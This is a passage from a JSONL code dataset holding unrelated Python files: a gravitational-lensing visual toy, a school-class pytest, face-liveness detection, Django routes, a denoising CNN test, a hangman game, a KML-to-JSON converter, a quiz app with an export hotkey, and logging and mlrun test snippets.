np.exp(-0.5*r_ell_sq)\n#-------------------------------------------------------------\ndef lq_nie(x1,x2,lpar):\n\txc1 = lpar[0]\n\txc2 = lpar[1]\n\tq\t= lpar[2]\n\trc\t= lpar[3]\n\tre\t= lpar[4]\n\tpha = lpar[5]\n\n\tphirad = np.deg2rad(pha)\n\tcosa = np.cos(phirad)\n\tsina = np.sin(phirad)\n\n\txt1 = (x1-xc1)*cosa+(x2-xc2)*sina\n\txt2 = (x2-xc2)*cosa-(x1-xc1)*sina\n\n\tphi = np.sqrt(xt2*xt2+xt1*q*xt1*q+rc*rc)\n\tsq = np.sqrt(1.0-q*q)\n\tpd1 = phi+rc/q\n\tpd2 = phi+rc*q\n\tfx1 = sq*xt1/pd1\n\tfx2 = sq*xt2/pd2\n\tqs = np.sqrt(q)\n\n\ta1 = qs/sq*np.arctan(fx1)\n\ta2 = qs/sq*np.arctanh(fx2)\n\n\txt11 = cosa\n\txt22 = cosa\n\txt12 = sina\n\txt21 =-sina\n\n\tfx11 = xt11/pd1-xt1*(xt1*q*q*xt11+xt2*xt21)/(phi*pd1*pd1)\n\tfx22 = xt22/pd2-xt2*(xt1*q*q*xt12+xt2*xt22)/(phi*pd2*pd2)\n\tfx12 = xt12/pd1-xt1*(xt1*q*q*xt12+xt2*xt22)/(phi*pd1*pd1)\n\tfx21 = xt21/pd2-xt2*(xt1*q*q*xt11+xt2*xt21)/(phi*pd2*pd2)\n\n\ta11 = qs/(1.0+fx1*fx1)*fx11\n\ta22 = qs/(1.0-fx2*fx2)*fx22\n\ta12 = qs/(1.0+fx1*fx1)*fx12\n\ta21 = qs/(1.0-fx2*fx2)*fx21\n\n\trea11 = (a11*cosa-a21*sina)*re\n\trea22 = (a22*cosa+a12*sina)*re\n\trea12 = (a12*cosa-a22*sina)*re\n\trea21 = (a21*cosa+a11*sina)*re\n\n\ty11 = 1.0-rea11\n\ty22 = 1.0-rea22\n\ty12 = 0.0-rea12\n\ty21 = 0.0-rea21\n\n\tjacobian = y11*y22-y12*y21\n\tmu = 1.0/jacobian\n\n\tres1 = (a1*cosa-a2*sina)*re\n\tres2 = (a2*cosa+a1*sina)*re\n\treturn res1,res2,mu\n\n\n #---------------------------------------------------------------------------------\nimport scipy.ndimage.interpolation as sn\ndef mapping_on_plane(img_in,xi1,xi2,dsi):\n\tnsx, nsy = np.shape(img_in)\n\txt1 = (xi1)/dsi+nsx/2.0\n\txt2 = (xi2)/dsi+nsy/2.0\n\tpoints = np.array([np.array(xt1.flat),np.array(xt2.flat)])\n\timg_out = sn.map_coordinates(img_in,points,order=1,mode='constant')\n\treturn img_out.reshape((nsx,nsy))\n#--------------------------------------------------------------------\ndef lensed_images_1(xc,yc,nnn):\n\tboxsize = 4.0\n\tdsx = boxsize/nnn\n\t#al1,al2,ka,shi,sh2,mua = lensing_signals_a(kas,aio[0],aio[1],dsx)\n\tg_amp = 1.0 # peak brightness value\n\tg_sig = 0.02 # Gaussian \"sigma\" (i.e., size)\n\tg_xcen = yc*2.0/nnn # x position of center\n\tg_ycen = xc*2.0/nnn # y position of center\n\tg_axrat = 1.0 # minor-to-major axis ratio\n\tg_pa = 0.0\t # major-axis position angle (degrees) c.c.w. from x axis\n\tgpar = np.asarray([g_amp, g_sig, g_xcen, g_ycen, g_axrat, g_pa])\n#----------------------------------------------------------------------\n\n\txi1 = np.linspace(-boxsize/2.0,boxsize/2.0-dsx,nnn)+0.5*dsx\n\txi2 = np.linspace(-boxsize/2.0,boxsize/2.0-dsx,nnn)+0.5*dsx\n\txi1,xi2 = np.meshgrid(xi1,xi2)\n\n\tlpar = np.asarray([0.0,0.0,0.7,0.0,1.0,0.0])\n\tal1,al2,mu = lq_nie(xi1,xi2,lpar)\n\n\tg_image = gauss_2d(xi1,xi2,gpar)\n\n\tyi1 = xi1-al1\n\tyi2 = xi2-al2\n\n\tg_lensimage = gauss_2d(yi1,yi2,gpar)\n\n\treturn g_image,g_lensimage\n#--------------------------------------------------------------------\ndef lensed_images_2(nnn):\n\tboxsize = 4.0\n\tdsx = boxsize/nnn\n\n\txi1 = np.linspace(-boxsize/2.0,boxsize/2.0-dsx,nnn)+0.5*dsx\n\txi2 = np.linspace(-boxsize/2.0,boxsize/2.0-dsx,nnn)+0.5*dsx\n\txi1,xi2 = np.meshgrid(xi1,xi2)\n\n\tlpar = np.asarray([0.0,0.0,0.7,0.0,1.0,0.0])\n\tal1,al2,mu = lq_nie(xi1,xi2,lpar)\n\tyi1 =xi1-al1\n\tyi2 =xi2-al2\n\n\tglpar = np.asarray([1.0,0.5,0.0,0.0,0.7,0.0])\n\tg_lens = gauss_2d(xi1,xi2,glpar)\n\n\treturn g_lens,mu,yi1,yi2\n#--------------------------------------------------------------------\ndef source_plane_finer(xi1,xi2):\n\n\tlpar = np.asarray([0.0,0.0,0.7,0.0,1.0,0.0])\n\tal1,al2,mu = lq_nie(xi1,xi2,lpar)\n\tyi1 =xi1-al1\n\tyi2 =xi2-al2\n\n\treturn mu,yi1,yi2\n\ndef find_critical_curve(mu):\n\trows,cols = np.indices(np.shape(mu))\n\tcdtn = np.sign(mu)*(np.sign(mu[rows-1,cols])+np.sign(mu[rows,cols-1])+np.sign(mu[(rows+1)%len(rows),cols])+np.sign(mu[rows,(cols+1)%len(cols)]))\n\n\tres = mu*0\n\tres[cdtn<4] = 1\n\tres[cdtn>=4] = 0\n\n\treturn res\n\nimport scipy.interpolate as si\n\ndef mapping_on_kth_plane(img_in,xi1,xi2,yi1,yi2,yif1,yif2,muf):\n\tya1 = np.hstack([yi1.flat,yif1.flat])\n\tya2 = np.hstack([yi2.flat,yif2.flat])\n\tmua = np.hstack([img_in.flat,muf.flat])\n\t#ya1 = np.array(yif1.flat)\n\t#ya2 = np.array(yif2.flat)\n\t#mua = np.array(muf.flat)\n\tpoints = np.array([ya1,ya2])\n\tres = si.griddata(points.T, mua, (xi1,xi2), method='linear')\n\treturn res\n\ndef refine_critical(critical,xi1,xi2,dsx,nfiner=16):\n\tx1tmp0 = xi1[critical>0]\n\tyift1 = np.zeros((len(x1tmp0),nfiner,nfiner))\n\tyift2 = np.zeros((len(x1tmp0),nfiner,nfiner))\n\tmuf = np.zeros((len(x1tmp0),nfiner,nfiner))\n\tdsf = dsx/nfiner\n\tfor i in xrange(nfiner):\n\t\tfor j in xrange(nfiner):\n\t\t\tx1tmp = xi1[critical>0]+(dsf*(1-nfiner)*0.5)+dsf*i\n\t\t\tx2tmp = xi2[critical>0]+(dsf*(1-nfiner)*0.5)+dsf*j\n\n\t\t\tmuf[:,i,j],yift1[:,i,j],yift2[:,i,j] = source_plane_finer(x1tmp,x2tmp)\n\n\treturn np.ones((len(x1tmp0),nfiner,nfiner)),yift1,yift2\n\ndef build_polar_coor(r,phi):\n\tx1 = r*cos(phi)\n\tx2 = r*sin(phi)\n\treturn x1,x2\n\ndef main():\n\tboxsize = 4.0\n\tnnn = 512\n\tdsx = boxsize/nnn\n\n\txi1 = np.linspace(-boxsize/2.0,boxsize/2.0-dsx,nnn)+0.5*dsx\n\txi2 = np.linspace(-boxsize/2.0,boxsize/2.0-dsx,nnn)+0.5*dsx\n\txi1,xi2 = np.meshgrid(xi1,xi2)\n\n\n\tpygame.init()\n\n\tscreen = pygame.display.set_mode((nnn, nnn), 0, 32)\n\tpygame.display.set_caption(\"Gravitational Lensing Toy\")\n\n\tmouse_cursor = pygame.Surface((nnn,nnn))\n\n\tbase0 = np.zeros((nnn,nnn,3),'uint8')\n\tbase1 = np.zeros((nnn,nnn,3),'uint8')\n\tbase2 = np.zeros((nnn,nnn,3),'uint8')\n\tbase3 = np.zeros((nnn,nnn,3),'uint8')\n\tbase4 = np.zeros((nnn,nnn,3),'uint8')\n\n\tg_lens,mu,yi1,yi2 = lensed_images_2(nnn)\n\tdel g_lens\n\n\tcritical = find_critical_curve(mu)\n\tbase3[:,:,0] = critical*255\n\tbase3[:,:,1] = critical*0\n\tbase3[:,:,2] = critical*0\n\n\tmuf,yif1,yif2 = refine_critical(critical,xi1,xi2,dsx)\n\n\tcaustic = mapping_on_kth_plane(critical,xi1,xi2,yi1,yi2,yif1,yif2,muf)\n\tcaustic[np.isnan(caustic)]=0\n\tcaustic[caustic>0]=1\n\n\tcaustic_out = snf.uniform_filter(caustic,size=2)\n\tcaustic_out[caustic_out>0]=1\n\n\tbase4[:,:,0] = caustic_out*0\n\tbase4[:,:,1] = caustic_out*255\n\tbase4[:,:,2] = caustic_out*0\n\n\tdel xi1,xi2,yi1,yi2,yif1,yif2,muf\n\n\twhile True:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == QUIT:\n\t\t\t\texit()\n\n\t\tx, y = pygame.mouse.get_pos()\n\t\tx-= mouse_cursor.get_width() / 2\n\t\ty-= mouse_cursor.get_height() / 2\n\n\t\tg_image,g_lensimage = lensed_images_1(x,y,nnn)\n\n\t\tbase1[:,:,0] = g_image*256\n\t\tbase1[:,:,1] = g_image*256\n\t\tbase1[:,:,2] = g_image*256\n\n\t\tbase2[:,:,0] = g_lensimage*102\n\t\tbase2[:,:,1] = g_lensimage*178\n\t\tbase2[:,:,2] = g_lensimage*256\n\n\t\tbase = base3+base4+(base1+base2)\n\t\tpygame.surfarray.blit_array(mouse_cursor,base)\n\n\t\tscreen.blit(mouse_cursor, (0, 0))\n\t\tpygame.display.update()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"pythonLensingToys/cc_show.py","file_name":"cc_show.py","file_ext":"py","file_size_in_byte":7025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"393512490","text":"import pytest\n\nfrom topic_07_oop.hw.class_4_1_pupil import Pupil\nfrom topic_07_oop.hw.class_4_2_worker import Worker\nfrom topic_07_oop.hw.class_4_3_school import School\n\n\ndef test():\n pupil_1 = Pupil('Петя',\n 15,\n {\n 'math': [3, 3, 3],\n 'history': [4, 4, 4],\n 'english': [5, 5, 5]\n })\n pupil_2 = Pupil('Маша',\n 15,\n {\n 'math': [4, 4, 4],\n 'history': [4, 4, 4],\n 'english': [4, 4, 4]\n })\n\n pupil_3 = Pupil('Маша',\n 13,\n {\n 'math': [5, 5, 5],\n 'history': [5, 5, 5],\n 'english': [5, 5, 5]\n })\n\n worker_1 = Worker('Миша',\n 86324.50,\n \"Учитель математики\")\n\n worker_2 = Worker('Лена',\n 56324.50,\n \"Повар\")\n\n worker_3 = Worker('Василиса',\n 56324.50,\n \"Учитель математики\")\n\n school = School([\n pupil_1,\n pupil_2,\n pupil_3,\n\n worker_1,\n worker_2,\n worker_3\n ], 555\n )\n\n assert school.get_avg_mark() == pytest.approx(4.3, 0.1)\n\n assert school.get_avg_salary() == pytest.approx(66324.5, 0.001)\n\n assert school.get_worker_count() == 3\n\n assert school.get_pupil_count() == 3\n\n assert sorted(school.get_pupil_names()) == sorted(['Петя', 'Маша', 'Маша'])\n\n assert sorted(school.get_unique_worker_positions()) == sorted([\"Учитель математики\", \"Повар\"])\n\n assert school.get_max_pupil_age() == 15\n\n assert school.get_min_worker_salary() == pytest.approx(56324.50, 0.0001)\n\n assert sorted(school.get_min_salary_worker_names()) == sorted(['Василиса', 'Лена'])\n","sub_path":"topic_07_oop/hw/tests/class_4_3_school_test.py","file_name":"class_4_3_school_test.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"50272707","text":"import random \r\nimport cv2\r\nimport imutils\r\nimport detectors\r\nimport questions\r\n\r\ndef show_image(cam,text,color = (250,0,0)):\r\n ret, im = cam.read()\r\n im = imutils.resize(im, width=720)\r\n cv2.putText(im,text,(10,50),cv2.FONT_HERSHEY_COMPLEX,1,color,2)\r\n return im\r\n\r\ndef main(): \r\n # Parameters\r\n COUNTER, TOTAL = 0,0\r\n counter_ok_questions = 0\r\n counter_ok_consecutives = 0\r\n limit_consecutives = 3\r\n limit_questions = 4\r\n counter_try = 0\r\n limit_try = 50 \r\n\r\n # Initiate Camera\r\n cv2.namedWindow('Face Detection')\r\n cam = cv2.VideoCapture(0)\r\n\r\n for i_questions in range(0,limit_questions):\r\n # Random Question\r\n index_question = 3\r\n # index_question = random.randint(0,4)\r\n question = questions.question_bank(index_question)\r\n \r\n im = show_image(cam,question)\r\n cv2.imshow('Face Detection',im)\r\n if cv2.waitKey(1) &0xFF == ord('q'):\r\n break \r\n\r\n for i_try in range(limit_try):\r\n \r\n ret, im = cam.read()\r\n im = imutils.resize(im, width=720)\r\n im = cv2.flip(im, 1)\r\n\r\n TOTAL_0 = TOTAL\r\n out_model = detectors.detect_liveness(im,COUNTER,TOTAL_0)\r\n TOTAL = out_model['total_blinks']\r\n COUNTER = out_model['count_blinks_consecutives']\r\n dif_blink = TOTAL-TOTAL_0\r\n if dif_blink > 0:\r\n blinks_up = 1\r\n else:\r\n blinks_up = 0\r\n\r\n challenge_res = questions.challenge_result(question, out_model,blinks_up)\r\n\r\n im = show_image(cam,question)\r\n cv2.imshow('Face Detection',im)\r\n if cv2.waitKey(1) &0xFF == ord('q'):\r\n break \r\n\r\n if challenge_res == \"pass\":\r\n im = show_image(cam,question+\" : ok\")\r\n cv2.imshow('Face Detection',im)\r\n if cv2.waitKey(1) &0xFF == ord('q'):\r\n break\r\n\r\n counter_ok_consecutives += 1\r\n if counter_ok_consecutives == limit_consecutives:\r\n counter_ok_questions += 1\r\n counter_try = 0\r\n counter_ok_consecutives = 0\r\n break\r\n else:\r\n continue\r\n\r\n elif challenge_res == \"fail\":\r\n counter_try += 1\r\n show_image(cam,question+\" : fail\")\r\n elif i_try == limit_try-1:\r\n break\r\n \r\n\r\n if counter_ok_questions == limit_questions:\r\n while True:\r\n im = show_image(cam,\"Reconhecimento com sucesso\",color = (0,255,0))\r\n cv2.imshow('Face Detection',im)\r\n if cv2.waitKey(1) &0xFF == ord('q'):\r\n break\r\n elif i_try == limit_try-1:\r\n while True:\r\n im = show_image(cam,\"Falha no reconhecimento\")\r\n cv2.imshow('Face Detection',im)\r\n if cv2.waitKey(1) &0xFF == ord('q'):\r\n break\r\n break \r\n\r\n else:\r\n continue\r\n","sub_path":"face_detector.py","file_name":"face_detector.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"492938024","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# __author__ = \"chenwei\"\n# Date: 2019/2/14\n\nfrom django.conf.urls import url\nfrom .views.wx import (\n ShareIndex, DefaultIndex, DefaultNavbar,\n DefaultNavigation, DefaultStore\n)\n\nurlpatterns = [\n url(r'^share/index$', ShareIndex.as_view()),\n url(r'^default/index$', DefaultIndex.as_view()),\n url(r'^default/store$', DefaultStore.as_view()),\n url(r'^default/navbar$', DefaultNavbar.as_view()), # 底部导航栏\n url(r'^default/navigation-bar-color$', DefaultNavigation.as_view()),\n]","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"342632167","text":"#Self Coded from scratch\nimport torch.nn as nn\nimport torch\ntorch.cuda.empty_cache()\nimport numpy as np\n#Model is nothing but modified version of standard VGG netowrk\n\nclass DeoisingCNN(nn.Module):\n def __init__(self, num_channels, num_of_layers=17):\n super(DeoisingCNN, self).__init__()#Inheriting properties of nn.Module class\n l=[]\n #padding 1 as kernel is of size 3 and we need the o/p of CNN block to give same size img and no maxpooling or BN in this layer\n first_layer=nn.Sequential(nn.Conv2d(in_channels=1, out_channels=num_channels, kernel_size=3, padding=1, bias=False),nn.ReLU(inplace=True))\n l.append(first_layer)\n #All blocks in b/w the first and last are the same having same i.e having depth and no maxpooling layer\n for _ in range(num_of_layers-2):\n second_layer = nn.Sequential(\n nn.Conv2d(in_channels=num_channels, out_channels=num_channels, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(num_channels),\n nn.ReLU(inplace=True),\n nn.Dropout2d(0.1))#0.2\n l.append(second_layer)\n #Final layer is similar to the first CNN block\n l.append(nn.Conv2d(in_channels=num_channels, out_channels=1, kernel_size=3, padding=1, bias=False))\n self.mdl = nn.ModuleList(l)\n def forward(self, x):\n out = self.mdl[0](x)\n for i in range(len(self.mdl) - 2):\n out = self.mdl[i + 1](out)\n out = self.mdl[-1](out)\n return out\ndef psnr(i1, i2):\n mse = torch.mean( (i1 - i2) ** 2 )\n if mse == 0:\n return 100\n PIXEL_MAX = 1\n return 20 * torch.log10(PIXEL_MAX / torch.sqrt(mse))\nimport numpy as np\n \n\n\nimport torch\nmodel=torch.load('noise3.pkl')\nimport cv2\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nfrom skimage.measure import compare_ssim as ssim\ntrain_image_folder = dset.ImageFolder(root='Set12',transform=transforms.ToTensor())\ntrain_test_image_folder=dset.ImageFolder(root='Set12', transform=transforms.Compose([transforms.Resize((180,180))]))\n\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nloader_test = DataLoader(dataset=train_test_image_folder,batch_size=12, shuffle=False)\nt=0\nfor a,b in train_test_image_folder:\n x=np.asarray(a)#There is some problem in PIL to tensor conversion\n x=x[:,:,:1].reshape(1,1,180,180)#Greyscale conversion and need approriate dim of (x,1,180,180)\n #for model to work\n \n test_img=torch.from_numpy(x/255.0).float().cuda()\n std=np.random.uniform(20,30)\n nse = torch.FloatTensor(test_img.size()).normal_(mean=0, std=25/255.0).cuda()\n #torch.sum(test_img**2).cpu().item()\n nssy_img=test_img+nse\n out=model(nssy_img)\n est_image=nssy_img-out\n \n print(\"PSNR of test image\"+str(t)+\" is \"+str(psnr(est_image,test_img).cpu().item()))\n print(\"SSID of test image\"+str(t)+\" is \"+str(ssim(est_image.cpu().data.numpy()[0,0,:,:],test_img.cpu().data.numpy()[0,0,:,:])))\n t=t+1\n cv2.imshow('Noisy Image',(nssy_img.cpu().data.numpy()[0,0,:,:]*255).astype(np.uint8))\n cv2.imshow('Denoised Image',(est_image.cpu().data.numpy()[0,0,:,:]*255).astype(np.uint8))\n cv2.imshow('Original Image',(test_img.cpu().data.numpy()[0,0,:,:]*255).astype(np.uint8))\n \n cv2.waitKey(5000)\n cv2.destroyAllWindows()\n","sub_path":"DeNoise_test.py","file_name":"DeNoise_test.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"122262373","text":"import random\r\ndef hangman(word):\r\n wrong = 0\r\n stages = [\"\",\r\n \"______ \",\r\n \"| \",\r\n \"| | \",\r\n \"| O \",\r\n \"| /|\\ \",\r\n \"| / \\ \",\r\n \"| \",\r\n ]\r\n rletters = list(word) # 引数をリスト化\r\n board = [\"_\"] * len(word) # 引数の長さ分、アンダーバーを作る\r\n win = False # win変数の初期状態にFalseを割り当てる\r\n print(\"ハングマンへようこそ!\")\r\n while wrong < len(stages) -1: # 下でe = wrong+1 と指定して正解しても最初にハングマンの要素を出力するようになっている。そのためwrongの回数をハングマンの長さ引く1し、ハングマンの最初の要素は\"\"(空白)にしている。 \r\n print(\"\\n\") # この改行はハングマンへようこそ!の下に作られる\r\n msg = \"1文字予想してね\"\r\n char = input(msg) # 1文字のみ入力\r\n if char in rletters: # リスト化した文字の中に該当文字があるなら\r\n cind = rletters.index(char) # その文字のインデックス番号を取り出し\r\n board[cind] = char # その番号のアンダーバーと1文字を取りかえる\r\n rletters[cind] = '$' # indexメソッドは最初に見つけた要素のインデックス値しか返してくれない。\r\n else:\r\n wrong += 1\r\n print(\" \".join(board)) # joinメソッドは、リストのそれぞれの間に別の要素を差し込み連結させるメソッド。正解の文字列にの各文字の間に\" \"を空白を入れて出力\r\n e = wrong + 1 # wrongにプラス1しただけでwrongは増えていない。\r\n print(\"\\n\".join(stages[0:e])) # ハングマンの絵リストをwrong+1までスライスして改行を連結させている。これであたかも絵のように表現できる。最初は[0:1]=\"\"が入力。間違えるとwrongに+1されて[0:2]がスライス→リストの1番目と2番目が取り出される。\r\n if \"_\" not in board:\r\n print(\"\\n\")\r\n print(\"あなたの勝ち!\")\r\n print(\"正解は{}。\".format(word))\r\n win = True\r\n break\r\n if not win: # wrongの回数が規定に達してなおwinがFalseのままであれば\r\n print(\"\\n\")\r\n print(\"あなたの負け!正解は {}。\".format(word))\r\n\r\n\r\nwordlist = [\"Python\", \"Java\", \"computer\", \"hacker\", \"painter\"]\r\nrandom_index = random.randint(0,4)\r\nword = wordlist[random_index]\r\nhangman(word)\r\n\r\n\r\n\r\n#解答例\r\n# import random #randomメソッド\r\n\r\n\r\n# def hangman():\r\n# wordlist = [\"Python\", \"Java\", \"computer\", \"hacker\", \"painter\"] # 変数の内生化 。カプセル化\r\n# random_index = random.randint(0,len(wordlist))\r\n# word = wordlist[random_index]\r\n# wrong_guesses = 0\r\n# stages = [\"\", \"________ \", \"| | \", \"| 0 \", \"| /|\\ \", \"| / \\ \", \"|\"]\r\n# remaining_letters = list(word)\r\n# letter_board = [\"__\"] * len(word)\r\n# win = False\r\n# print('Welcome to Hangman')\r\n# while wrong_guesses < len(stages) - 1:\r\n# print('\\n')\r\n# guess = input(\"Guess a letter\")\r\n# if guess in remaining_letters:\r\n# character_index = remaining_letters.index(guess)\r\n# letter_board[character_index] = guess\r\n# remaining_letters[character_index] = '$'\r\n# else:\r\n# wrong_guesses += 1\r\n# print((' '.join(letter_board)))\r\n# print('\\n'.join(stages[0: wrong_guesses + 1]))\r\n# if '__' not in letter_board:\r\n# print('You win! The word was:')\r\n# print(' '.join(letter_board))\r\n# win = True\r\n# break\r\n# if not win:\r\n# print('\\n'.join(stages[0: wrong_guesses]))\r\n# print('You lose! The words was {}'.format(word))\r\n\r\n# hangman() # 関数に変数を入れる必要がないときは()空かっこ\r\n# © 2019 GitHub, Inc.","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":4111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"125752596","text":"#!/bin/env python\n\n# 1) translate the data from kml to json\n#\n# $ ./kml2json.py ./regionePF-alberi_regione.kml trees.json\n\n# 2) copy the data to the $OPENSHIFT_DATA_DIR\n#\n# $ scp trees.json 9250a95b54b586d346bc3@trees-ric.rhcloud.com:app-root/data\n\n# 3) ssh in and import the data into mongodb\n#\n# $ rhc ssh trees\n# [...]\n# [trees-ric.rhcloud.com data]\\> cd $OPENSHIFT_DATA_DIR\n# [trees-ric.rhcloud.com data]\\> mongoimport -d trees -c treepoints \\\n# --type json --file ./trees.json --jsonArray \\\n# -h $OPENSHIFT_MONGODB_DB_HOST -u admin -p $OPENSHIFT_MONGODB_DB_PASSWORD\n\n# 4) finally, create the spatial index \n# \n# [trees-ric.rhcloud.com data]\\> mongo -u admin \\\n# -p $OPENSHIFT_MONGODB_DB_PASSWORD $OPENSHIFT_MONGODB_DB_HOST/trees\n#\n# > db.treepoints.ensureIndex( { coordinates : \"2d\" } );\n\n# 5) and then run a test spatial query!\n#\n# > db.treepoints.find( { coordinates : { $near : [12.423316, 43.125964] } } );\n\nimport sys\nimport re\nimport json\nfrom xml.etree import cElementTree as ET\n\nfrom BeautifulSoup import BeautifulSoup\n\n\ndef trees(xml_string):\n\n et = ET.fromstring(xml_string)\n\n def generate_trees():\n\n METADATA_MAP = {\n 'tree_id': 'id_albero',\n 'species': 'specie',\n 'height': 'alt',\n 'municipality': 'comune',\n 'location': 'localita',\n }\n\n def extract_tree_metadata(description):\n return dict(map(lambda x: x.text, li.findAll('span')) \n for li in description.ul.findAll('li'))\n\n for placemark in et.findall('Document/Placemark'):\n description = BeautifulSoup(placemark.find('description').text)\n coordinates = placemark.find('Point/coordinates').text.split(',')\n\n metadata = extract_tree_metadata(description)\n if metadata['stato'] != 'APPROVATO':\n continue\n\n tree = dict(\n (key, metadata[METADATA_MAP[key]]) for key in METADATA_MAP\n )\n tree['coordinates'] = map(float, coordinates)\n\n yield tree\n\n return sorted(generate_trees(), key=lambda x: x['tree_id'])\n\n\nif __name__ == \"__main__\":\n\n kml_path, json_path = sys.argv[1:3]\n\n xml_string = open(kml_path, 'r').read()\n xml_string = re.sub(' xmlns=\"[^\"]+\"', '', xml_string, count=1)\n \n with open(json_path, 'w') as out:\n json.dump(trees(xml_string), out, indent=4)\n\n","sub_path":"opendata/kml2json.py","file_name":"kml2json.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"590921095","text":"import logging\nimport logging.handlers\nimport time\n\ndef setup_custom_logger(name): \n #configure logging\n log_file='./chultun.log'\n logger = logging.getLogger(name)\n logging.Formatter.converter = time.gmtime\n logger.setLevel(logging.DEBUG)\n handler = logging.handlers.RotatingFileHandler(log_file, maxBytes=5*1024*1024, backupCount=10)\n #handler.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))\n handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s\\t%(message)s'))\n logger.addHandler(handler)\n #logger.info('Starting %s...'%name)\n\n return logger","sub_path":"nebulizer/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"264323227","text":"'''\nP1 - Quiz Sysytem\n\ncourse = CS384-Pyhton\nInstructor = Mr. Mayank Agarwal\n\nGroup Members:\n1. Aparsh Gupta(1801EE08)\n2. Khushi Gaur(1801CB14) \n\nLibraries used:\n1. Bcrypt\n2. Tkinter\n3. Threading\n4. pynput\n5. csv \n6. os\n7. pathlib\n8. re\n9. shutil\n\nDemo Video - https://www.youtube.com/watch?v=tuq4OBdbygA\n\n'''\n\n\nimport database.display_util as display\nimport database.db as db\nimport utilities.timer as timer\nimport fileOperations.read as reader\nimport threading\nimport fileOperations.takeQuiz as takeQuiz\nfrom pynput import keyboard\ncurrent = set()\n# The key combination to check\nCOMBINATIONS = [\n {keyboard.Key.alt, keyboard.Key.ctrl,keyboard.KeyCode(char='e')}\n]\n\ndef on_press(key):\n if any([key in COMBO for COMBO in COMBINATIONS]):\n current.add(key)\n if any(all(k in current for k in COMBO) for COMBO in COMBINATIONS):\n db.exportMarksToCsv()\n\ndef on_release(key):\n if any([key in COMBO for COMBO in COMBINATIONS]):\n current.remove(key)\n\ndef hotkeys_export():\n with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:\n listener.join()\n\nexport_thread = threading.Thread(target=hotkeys_export)\nexport_thread.start()\n\n\n\n# takeQuiz.start_quiz('q1.csv')\n\n# takeQuiz.start_quiz_screen('q1.csv')\n\ndisplay.main_account_screen()\n\n'''\ndisplay.userLoginOrRegistration()\nreader.select_quiz()\n'''\n\n'''\nEnter your username: 1801zz33\nEnter ypur password: zz33\nEnter your name: xyz\nEnter your watsapp number: 9000000000\n\n'''\n\n# export_thread.join()","sub_path":"Projects/P1_Quiz_via_CSV/p1_main.py","file_name":"p1_main.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"572884261","text":"\"\"\"\n============================\nAuthor:柠檬班-木森\nTime:2019/11/25\nE-mail:3247119728@qq.com\nCompany:湖南零檬信息技术有限公司\n============================\n\"\"\"\nimport os\nimport logging\nfrom common.myconfig import conf\nfrom common.contants import LOG_DIR\n\n\n# 读取配置文件中的数据\nlevel = conf.get_str(\"logging\", \"level\")\nf_level = conf.get_str(\"logging\", \"f_level\")\ns_level = conf.get_str(\"logging\", \"s_level\")\nfilename = conf.get_str(\"logging\", \"filename\")\n# 获取日志文件的绝对路径\nfile_path = os.path.join(LOG_DIR,filename)\n\n\nclass MyLogger(object):\n\n @staticmethod\n def create_logger():\n # 一、创建一个名为:python24的日志收集器\n my_log = logging.getLogger(\"python24\")\n # 二、设置日志收集器的等级\n my_log.setLevel(level)\n # 三、添加输出渠道(输出到控制台)\n # 1、创建一个输出到控制台的输出渠道\n sh = logging.StreamHandler()\n # 2、设置输出等级\n sh.setLevel(s_level)\n # 3、将输出渠道绑定到日志收集器上\n my_log.addHandler(sh)\n # 四、添加输出渠道(输出到文件)\n fh = logging.FileHandler(file_path, encoding=\"utf8\")\n fh.setLevel(f_level)\n my_log.addHandler(fh)\n # 五、设置日志输出的格式\n # 创建一个日志输出格式\n formatter = logging.Formatter('%(asctime)s - [%(filename)s-->line:%(lineno)d] - %(levelname)s: %(message)s')\n # 将输出格式和输出渠道进行绑定\n sh.setFormatter(formatter)\n fh.setFormatter(formatter)\n\n return my_log\n\n\n# 调用类的静态方法,创建一个日志收集器\nmy_log = MyLogger.create_logger()\n","sub_path":"APIAutomation/py24_api_v3/py24_api_v3/common/mylogger.py","file_name":"mylogger.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"155899917","text":"import getpass\nimport os\nimport pathlib\n\nimport deepdiff\nimport pytest\n\nimport mlrun\nimport mlrun.errors\nimport mlrun.projects.project\nimport tests.conftest\n\n\ndef test_sync_functions():\n project_name = \"project-name\"\n project = mlrun.new_project(project_name)\n project.set_function(\"hub://describe\")\n project_function_object = project.spec._function_objects\n project_file_path = pathlib.Path(tests.conftest.results) / \"project.yaml\"\n project.export(str(project_file_path))\n imported_project = mlrun.load_project(None, str(project_file_path))\n assert imported_project.spec._function_objects == {}\n imported_project.sync_functions()\n _assert_project_function_objects(imported_project, project_function_object)\n\n\ndef _assert_project_function_objects(project, expected_function_objects):\n project_function_objects = project.spec._function_objects\n assert len(project_function_objects) == len(expected_function_objects)\n 